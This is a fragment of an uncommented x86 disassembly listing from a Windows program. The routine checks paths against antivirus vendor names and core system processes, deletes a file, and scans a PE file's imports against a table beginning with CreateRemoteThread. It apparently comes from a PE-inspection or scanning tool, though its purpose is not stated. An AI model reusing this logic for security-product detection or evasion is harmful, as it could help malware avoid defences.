mov al, byte [edx]
cmp al, 0x5c
mov byte [ebp + ebx - 0x1208], al
jne 0x43b4e3
cmp ebx, 2
jge 0x43b4e9
inc ebx
dec edx
cmp ebx, ecx
jl 0x43b4d1
sub ecx, ebx
cmp ecx, 4
mov dword [ebp + 0xc], ecx
jge 0x43b501
mov eax, 1
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x158], eax
test ecx, ecx
jle 0x43b51f
mov eax, ecx
lea esi, [ebp - 0x428]
lea edi, [ebp - 0x1408]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0xc]
lea ecx, [ebp - 0x1408]
lea edx, [ebp - 0x1688]
push ecx
push edx
mov byte [ebp + edi - 0x1408], 0
call fcn.0047fde0
add esp, 8
mov esi, 1
test eax, eax
jne 0x43b54c
mov dword [ebp - 0x18], esi
xor ecx, ecx
test ebx, ebx
jle 0x43b58e
lea edx, [ebp + edi - 0x427]
mov edi, dword [ebp - 0x140]
mov al, byte [ecx + edx]
cmp al, 0x5c
je 0x43b56d
mov byte [ebp + ecx - 0x1208], al
cmp al, 0x2e
jne 0x43b572
inc edi
cmp al, 0x20
jne 0x43b577
inc edi
cmp al, 0x5c
jne 0x43b583
mov byte [ebp + ecx - 0x1208], 0
inc ecx
cmp ecx, ebx
jl 0x43b55f
mov dword [ebp - 0x140], edi
mov al, byte [ebp - 0x1407]
mov byte [ebp + ebx - 0x1208], 0
cmp al, 0x3a
je 0x43b5aa
push 0x49b790
jmp 0x43f2a4
cmp byte [ebp - 0x1406], 0x5c
je 0x43b5c1
mov byte [ebp - 0x1406], 0x5c
mov byte [ebp - 0x1405], 0
lea eax, [ebp - 0x428]
push 0x100
lea ecx, [ebp - 0xaa8]
push eax
push ecx
call fcn.0047b120
lea edx, [ebp - 0x1208]
push 0x40
lea eax, [ebp - 0x1a88]
push edx
push eax
call fcn.0047b120
lea ecx, [ebp - 0x1408]
push ecx
call fcn.00468c80
add esp, 0x1c
cmp eax, 2
mov dword [ebp - 0x21c], eax
jne 0x43b6a1
lea edx, [ebp - 0xaa8]
push edx
call fcn.004299c0
add esp, 4
lea eax, [ebp - 0xaa8]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0xaa8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x43b66d
lea edx, [ebp - 0xaa8]
push edx
call fcn.00429f20
add esp, 4
cmp eax, esi
jne 0x43b66d
lea eax, [ebp - 0xaa8]
push eax
call fcn.00429e70
add esp, 4
lea edx, [ebp - 0x928]
mov edi, 0x49e6b0
jmp 0x43b678
lea edx, [ebp - 0x928]
mov edi, 0x49e674
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x928]
push ecx
jmp 0x43f2a4
cmp eax, esi
jne 0x43b6a8
mov dword [ebp - 0x18], esi
lea edx, [ebp - 0x428]
push edx
call fcn.00483565
mov ecx, dword [ebp + 0x10]
lea edx, [ebp - 0x428]
push edx
mov dword [ecx], eax
call fcn.00428d90
mov ebx, eax
push 0x491c80
push ebx
call fcn.0047fde0
add esp, 0x10
test eax, eax
jne 0x43b6ec
cmp dword [ebp - 0x34], esi
jne 0x43b803
push 0x49b774
jmp 0x43f2a4
lea eax, [ebp - 0x428]
push str.LOCALS1Temp
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43b70a
mov dword [ebp - 0x90], esi
lea ecx, [ebp - 0x428]
push str.Application_Data
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43b725
mov dword [ebp - 0x18], esi
lea edx, [ebp - 0x428]
push str.Microsoft_SharedMSINFO
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43b740
mov dword [ebp - 0x18], esi
lea eax, [ebp - 0x428]
push str.Microsoft_SharedMSInfo
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43b75b
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0x428]
push str.Documents_and_Settings
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43b776
mov dword [ebp - 0x18], esi
lea edx, [ebp - 0x428]
push 0x80
lea eax, [ebp - 0x1588]
push edx
push eax
call fcn.0047b120
lea ecx, [ebp - 0x428]
push 0x80
lea edx, [ebp - 0x1488]
push ecx
push edx
call fcn.0047b120
lea edi, [ebp - 0x9a8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [ebp - 0xb28]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ebp + edx - 0x1588], al
mov dword [ebp - 0x40], eax
mov byte [ebp + ecx - 0x1488], al
lea eax, [ebp - 0x9a8]
lea ecx, [ebp - 0x1588]
push eax
push ecx
call fcn.0047fde0
add esp, 0x20
test eax, eax
jne 0x43b83e
push 0x491c80
push ebx
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43b80d
push 0x491c80
jmp 0x43f2a4
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x38], esi
test ecx, ecx
jle 0x43b83e
cmp byte [ebp + eax - 0x428], 0x5c
jne 0x43b831
inc edx
inc eax
cmp eax, ecx
jl 0x43b826
cmp edx, 2
jne 0x43b83e
mov dword [ebp - 0x24], esi
lea edx, [ebp - 0xb28]
lea eax, [ebp - 0x1488]
push edx
push eax
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43b877
push 0x491c80
push ebx
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43b874
push 0x491c80
jmp 0x43f2a4
mov dword [ebp - 0x40], esi
lea ecx, [ebp - 0x428]
push str.System
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43b8ae
push 0x491c80
push ebx
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43b8ab
push 0x491c80
jmp 0x43f2a4
mov dword [ebp - 0x40], esi
lea edx, [ebp - 0x428]
push str._system
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43b8e5
push 0x491c80
push ebx
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43b8e2
push 0x491c80
jmp 0x43f2a4
mov dword [ebp - 0x40], esi
lea eax, [ebp - 0x428]
push str.SYSTEM
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43b91c
push 0x491c80
push ebx
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43b919
push 0x491c80
jmp 0x43f2a4
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x2c], esi
jle 0x43bfd1
lea ecx, [ebp - 0x628]
push str.Beijing_Rising
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43b9e2
mov edi, 0x49e634
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x1c], 1
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x428]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x528]
push ecx
push edx
call fcn.004294c0
lea eax, [ebp - 0x528]
push str.Beijing
push eax
call fcn.0047bec0
add esp, 0x10
test eax, eax
je 0x43b9e2
lea ecx, [ebp - 0x528]
push str.Rising
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43b9e2
mov edi, 0x49e634
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x43b9e5
mov ebx, dword [ebp - 0x78]
lea ecx, [ebp - 0x628]
push str.Jiangmin_Co
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43ba88
mov edi, 0x49e624
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x1c], 1
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x428]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0xda8]
push ecx
push edx
call fcn.004294c0
lea eax, [ebp - 0xda8]
push str.Jiangmin
push eax
call fcn.0047bec0
add esp, 0x10
test eax, eax
je 0x43ba88
mov edi, 0x49e624
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x628]
push str.Eset
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43bb2b
mov edi, 0x49e614
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x1c], 1
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x428]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0xda8]
push ecx
push edx
call fcn.004294c0
lea eax, [ebp - 0xda8]
push str.Eset
push eax
call fcn.0047bec0
add esp, 0x10
test eax, eax
je 0x43bb2b
mov edi, 0x49e614
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x628]
push str.Symantec_Corporation
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43bc1a
mov edi, 0x49e600
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x1c], 1
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x428]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0xda8]
push ecx
push edx
call fcn.004294c0
lea eax, [ebp - 0xda8]
push str.Symantec
push eax
call fcn.0047bec0
add esp, 0x10
test eax, eax
je 0x43bbce
mov edi, 0x49e600
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x428]
push str.SYMANT1Rtvscan.exe
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43bc1a
mov edi, 0x49e600
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x628]
push ecx
jmp 0x43f2a4
lea edx, [ebp - 0x628]
push str.Network_Associates
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43bcbd
mov edi, 0x49e5d8
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x1c], 1
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x428]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0xda8]
push ecx
push edx
call fcn.004294c0
lea eax, [ebp - 0xda8]
push str.Networks_Associates_Technology__Inc
push eax
call fcn.0047bec0
add esp, 0x10
test eax, eax
je 0x43bcbd
mov edi, 0x49e5d8
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x628]
push str.McAfee_Inc
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43bd60
mov edi, 0x49e5d8
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x1c], 1
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x428]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0xda8]
push ecx
push edx
call fcn.004294c0
lea eax, [ebp - 0xda8]
push 0x49b830
push eax
call fcn.0047bec0
add esp, 0x10
test eax, eax
je 0x43bd60
mov edi, 0x49e5d8
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x628]
push str.Kingsoft_Corporation
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43be03
mov edi, 0x49e5c8
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x1c], 1
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x428]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0xda8]
push ecx
push edx
call fcn.004294c0
lea eax, [ebp - 0xda8]
push str.Kingsoft
push eax
call fcn.0047bec0
add esp, 0x10
test eax, eax
je 0x43be03
mov edi, 0x49e5c8
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x628]
push str.Panda_Software
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43bea6
mov edi, 0x49e5b8
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x1c], 1
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x428]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0xda8]
push ecx
push edx
call fcn.004294c0
lea eax, [ebp - 0xda8]
push str.Panda
push eax
call fcn.0047bec0
add esp, 0x10
test eax, eax
je 0x43bea6
mov edi, 0x49e5b8
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x628]
push str.Kaspersky_Lab
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43bf46
mov edi, 0x49e5a4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x428]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0xda8]
push ecx
push edx
call fcn.004294c0
lea eax, [ebp - 0xda8]
push str.Kaspersky
push eax
call fcn.0047bec0
add esp, 0x10
test eax, eax
je 0x43bf50
mov edi, 0x49e5a4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, 1
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov ebx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x43bf55
cmp dword [ebp - 0x1c], 1
jne 0x43c0db
mov edx, 1
cmp dword [ebp - 0x38], edx
jne 0x43bf92
mov edi, 0x49e59c
or ecx, 0xffffffff
xor eax, eax
lea ebx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0xb8], edx
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
xor ebx, ebx
rep movsb byte es:[edi], byte [esi]
cmp dword [ebp - 0x18], edx
jne 0x43c0e0
mov edi, 0x49e59c
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 0xb8], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x628]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x1208]
push str.smss.exe
push ecx
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x43c0d1
lea edx, [ebp - 0x1208]
push str.winlogon.exe
push edx
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x43c0d1
lea eax, [ebp - 0x1208]
push str.csrss.exe
push eax
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x43c0d1
lea ecx, [ebp - 0x1208]
push str.services.exe
push ecx
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x43c0d1
lea edx, [ebp - 0x1208]
push str.lsass.exe
push edx
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x43c0d1
lea eax, [ebp - 0x1208]
push str.svchost.exe
push eax
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x43c0d1
lea ecx, [ebp - 0x1208]
push str.taskmgr.exe
push ecx
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x43c0d1
lea edx, [ebp - 0x1208]
push str.spoolsv.exe
push edx
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x43c0d1
lea eax, [ebp - 0x1208]
push 0x48ba7c
push eax
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x43c0d1
lea ecx, [ebp - 0x1208]
push str.conime.exe
push ecx
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43c0f4
mov ebx, 1
mov dword [ebp - 0x70], ebx
jmp 0x43c0f9
mov edx, 1
cmp ebx, edx
jne 0x43bfd1
lea eax, [ebp - 0x628]
push eax
jmp 0x43f2a4
mov ebx, 1
xor esi, esi
xor edi, edi
push 0x6309b0
mov dword [ebp - 4], 2
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0xa0], esi
mov dword [ebp - 0x48], esi
mov dword [ebp + 0xc], esi
mov dword [ebp - 0xf0], edi
mov dword [ebp - 0xf4], esi
call fcn.00404650
add esp, 4
lea edx, [ebp - 0x428]
push 0x6309b0
push edx
call fcn.004045b0
add esp, 8
test eax, eax
jne 0x43c17e
push str.Load_file_faild_
mov ecx, 0x65cd80
call fcn.00479641
lea ecx, [ebp - 0x428]
push ecx
mov ecx, eax
call fcn.00479641
push 0xa
mov ecx, eax
call fcn.00479456
push 0x401430
mov ecx, eax
call fcn.00401410
mov dword [ebp + 0xc], ebx
jmp 0x43cbca
mov edx, dword [0x6309b8]
mov byte [ebp - 4], 3
push edx
call fcn.004046b0
add esp, 4
mov dword [ebp - 0x220], eax
mov eax, dword [0x6309b8]
push eax
call fcn.004047a0
add esp, 4
mov dword [ebp - 0x78], eax
test eax, eax
jne 0x43c20f
push str.Cant_get_ImportDesc:_PEInfo_Example
mov ecx, 0x65cd80
call fcn.00479641
push 0xa
mov ecx, eax
call fcn.00479456
push 0x401430
mov ecx, eax
call fcn.00401410
mov dword [ebp + 0xc], 2
mov edx, dword [0x6309b8]
mov dword [ebp - 4], 2
push edx
mov byte [ebp - 4], 7
call fcn.004046d0
mov esi, eax
xor ebx, ebx
add esp, 4
cmp esi, ebx
mov dword [ebp - 0x190], esi
jne 0x43ca28
mov dword [ebp + 0xc], 6
jmp 0x43cbb5
mov dword [ebp - 0x174], 0
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x43c1d7
mov ecx, dword [eax + 0xc]
mov edx, dword [0x6309b8]
mov eax, dword [ebp - 0x220]
push ecx
push edx
push eax
call fcn.00404730
mov ecx, dword [ebp - 0x44]
add esp, 0xc
mov edi, eax
inc ecx
push 0x49b730
push edi
mov dword [ebp - 0x44], ecx
call fcn.0047fde0
neg eax
sbb eax, eax
push str.user32.dll
inc eax
push edi
mov dword [ebp - 0x228], eax
call fcn.0047fde0
neg eax
sbb eax, eax
push str.wtsapi32.dll
inc eax
push edi
mov dword [ebp - 0x190], eax
call fcn.0047fde0
add esp, 0x18
mov ebx, 1
test eax, eax
jne 0x43c28c
mov dword [ebp - 0x194], ebx
push str.WSTSecDvc.dll
push edi
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x43c2a4
mov dword [ebp - 0x198], ebx
xor esi, esi
cmp esi, 0x66
jge 0x43c357
lea ecx, [esi + esi*2]
shl ecx, 4
add ecx, str.CreateRemoteThread
push ecx
push edi
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43c351
cmp esi, 0xf
jle 0x43c2dd
cmp esi, 0x12
jge 0x43c2dd
mov dword [ebp - 0xd8], ebx
cmp esi, 0x1d
je 0x43c2ec
cmp esi, 0x1e
je 0x43c2ec
cmp esi, 0x39
jne 0x43c2f2
mov dword [ebp - 0xe0], ebx
cmp esi, 0x1f
je 0x43c2fc
cmp esi, 0x20
jne 0x43c302
mov dword [ebp - 0x94], ebx
cmp esi, 0x21
je 0x43c30c
cmp esi, 0x22
jne 0x43c312
mov dword [ebp - 0xd0], ebx
cmp esi, 0x23
je 0x43c31c
cmp esi, 0x24
jne 0x43c322
mov dword [ebp - 0xb0], ebx
cmp esi, 0x2c
jne 0x43c333
mov dword [ebp - 0xb4], ebx
inc esi
jmp 0x43c2a6
cmp esi, 0x2d
je 0x43c34e
cmp esi, 0x2e
jne 0x43c349
mov dword [ebp - 0xbc], ebx
inc esi
jmp 0x43c2a6
cmp esi, 0x3d
jne 0x43c351
mov dword [ebp - 0x64], ebx
inc esi
jmp 0x43c2a6
mov edx, dword [0x6309b8]
mov byte [ebp - 4], 4
push edx
mov dword [ebp - 0x180], 0
call fcn.004046b0
add esp, 4
mov esi, eax
mov eax, dword [0x6309b8]
mov dword [ebp - 0x224], esi
push eax
call fcn.004047a0
mov ecx, dword [ebp - 0x174]
add esp, 4
lea ecx, [ecx + ecx*4]
lea ecx, [eax + ecx*4]
mov eax, dword [ecx]
test eax, eax
jne 0x43c39f
mov eax, dword [ecx + 0x10]
mov edx, dword [0x6309b8]
push eax
push edx
push esi
mov dword [ebp - 0x50], eax
call fcn.00404730
add esp, 0xc
mov dword [ebp - 0x28], eax
test eax, eax
je 0x43c1d7
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
mov edi, 1
mov eax, dword [eax]
test eax, eax
je 0x43c972
mov ecx, eax
shr ecx, 0x10
cmp ecx, 0x8000
jne 0x43c430
mov edi, 0x49b72c
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0xec8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0xfe8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
and edx, 0xffff
push edx
push str.Ord:_08lX
push eax
call ebx
add esp, 0xc
lea ecx, [ebp - 0xfe8]
jmp 0x43c4b1
mov edx, dword [0x6309b8]
push eax
mov eax, dword [ebp - 0x224]
push edx
push eax
call fcn.00404730
mov esi, eax
add esp, 0xc
test esi, esi
je 0x43c46c
xor ecx, ecx
lea edx, [ebp - 0xec8]
mov cx, word [esi]
push ecx
push str._04lX
push edx
call ebx
add esp, 0xc
add esi, 2
mov dword [ebp - 0x1c], esi
jmp 0x43c4b9
mov edi, 0x49b72c
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0xec8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x1008]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
push edx
push str.MemAddr:_08lX
push eax
call ebx
add esp, 0xc
lea ecx, [ebp - 0x1008]
mov dword [ebp - 0x1c], ecx
mov edi, 1
xor esi, esi
cmp esi, 0x66
jge 0x43c91e
mov eax, dword [ebp - 0x1c]
lea edx, [esi + esi*2]
shl edx, 4
add edx, str.CreateRemoteThread
push edx
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43c918
cmp esi, 0x45
jne 0x43c578
lea ecx, [ebp - 0xba8]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [ebp - 0xba8]
lea eax, [ebp - 0xca8]
push edx
push str._sMicrosoft.NETFramework
push eax
call fcn.0047a8f8
lea ecx, [ebp - 0xca8]
push ecx
call fcn.0047c0d3
mov esi, eax
push str.c:endpcache
neg esi
sbb esi, esi
inc esi
call fcn.0047c0d3
add esp, 0x14
cmp esi, edi
jne 0x43c551
lea edx, [ebp - 0x628]
lea eax, [ebp - 0x528]
push edx
push 0x49b6c8
push eax
jmp 0x43c564
lea ecx, [ebp - 0x628]
lea edx, [ebp - 0x528]
push ecx
push 0x49b698
push edx
call fcn.0047a8f8
add esp, 0xc
lea eax, [ebp - 0x528]
push eax
jmp 0x43f2a4
test esi, esi
jne 0x43c588
mov dword [ebp - 0xdc], edi
inc esi
jmp 0x43c4bb
cmp esi, edi
jne 0x43c598
mov dword [ebp - 0xa8], edi
inc esi
jmp 0x43c4bb
cmp esi, 2
je 0x43c918
cmp esi, 4
jne 0x43c5b2
mov dword [ebp - 0x13c], edi
inc esi
jmp 0x43c4bb
cmp esi, 5
jne 0x43c5c3
mov dword [ebp - 0x124], edi
inc esi
jmp 0x43c4bb
cmp esi, 6
jne 0x43c5d4
mov dword [ebp - 0x114], edi
inc esi
jmp 0x43c4bb
cmp esi, 7
jne 0x43c5e5
mov dword [ebp - 0x134], edi
inc esi
jmp 0x43c4bb
cmp esi, 8
jne 0x43c5f6
mov dword [ebp - 0x154], edi
inc esi
jmp 0x43c4bb
cmp esi, 9
jne 0x43c607
mov dword [ebp - 0x17c], edi
inc esi
jmp 0x43c4bb
cmp esi, 0xa
jne 0x43c618
mov dword [ebp - 0x98], edi
inc esi
jmp 0x43c4bb
cmp esi, 0xb
jne 0x43c629
mov dword [ebp - 0xc4], edi
inc esi
jmp 0x43c4bb
jle 0x43c636
cmp esi, 0xf
jge 0x43c639
mov dword [ebp - 0xa4], edi
cmp esi, 0xf
jne 0x43c647
mov dword [ebp - 0x110], edi
inc esi
jmp 0x43c4bb
jle 0x43c654
cmp esi, 0x12
jge 0x43c654
mov dword [ebp - 0xd8], edi
cmp esi, 0x1b
jne 0x43c665
mov dword [ebp - 0xf8], edi
inc esi
jmp 0x43c4bb
cmp esi, 0x1c
jne 0x43c676
mov dword [ebp - 0x118], edi
inc esi
jmp 0x43c4bb
cmp esi, 0x1d
je 0x43c685
cmp esi, 0x1e
je 0x43c685
cmp esi, 0x39
jne 0x43c68b
mov dword [ebp - 0xe0], edi
cmp esi, 0x1f
je 0x43c695
cmp esi, 0x20
jne 0x43c69b
mov dword [ebp - 0x94], edi
cmp esi, 0x21
je 0x43c6a5
cmp esi, 0x22
jne 0x43c6ab
mov dword [ebp - 0xd0], edi
cmp esi, 0x23
je 0x43c6b5
cmp esi, 0x24
jne 0x43c6bb
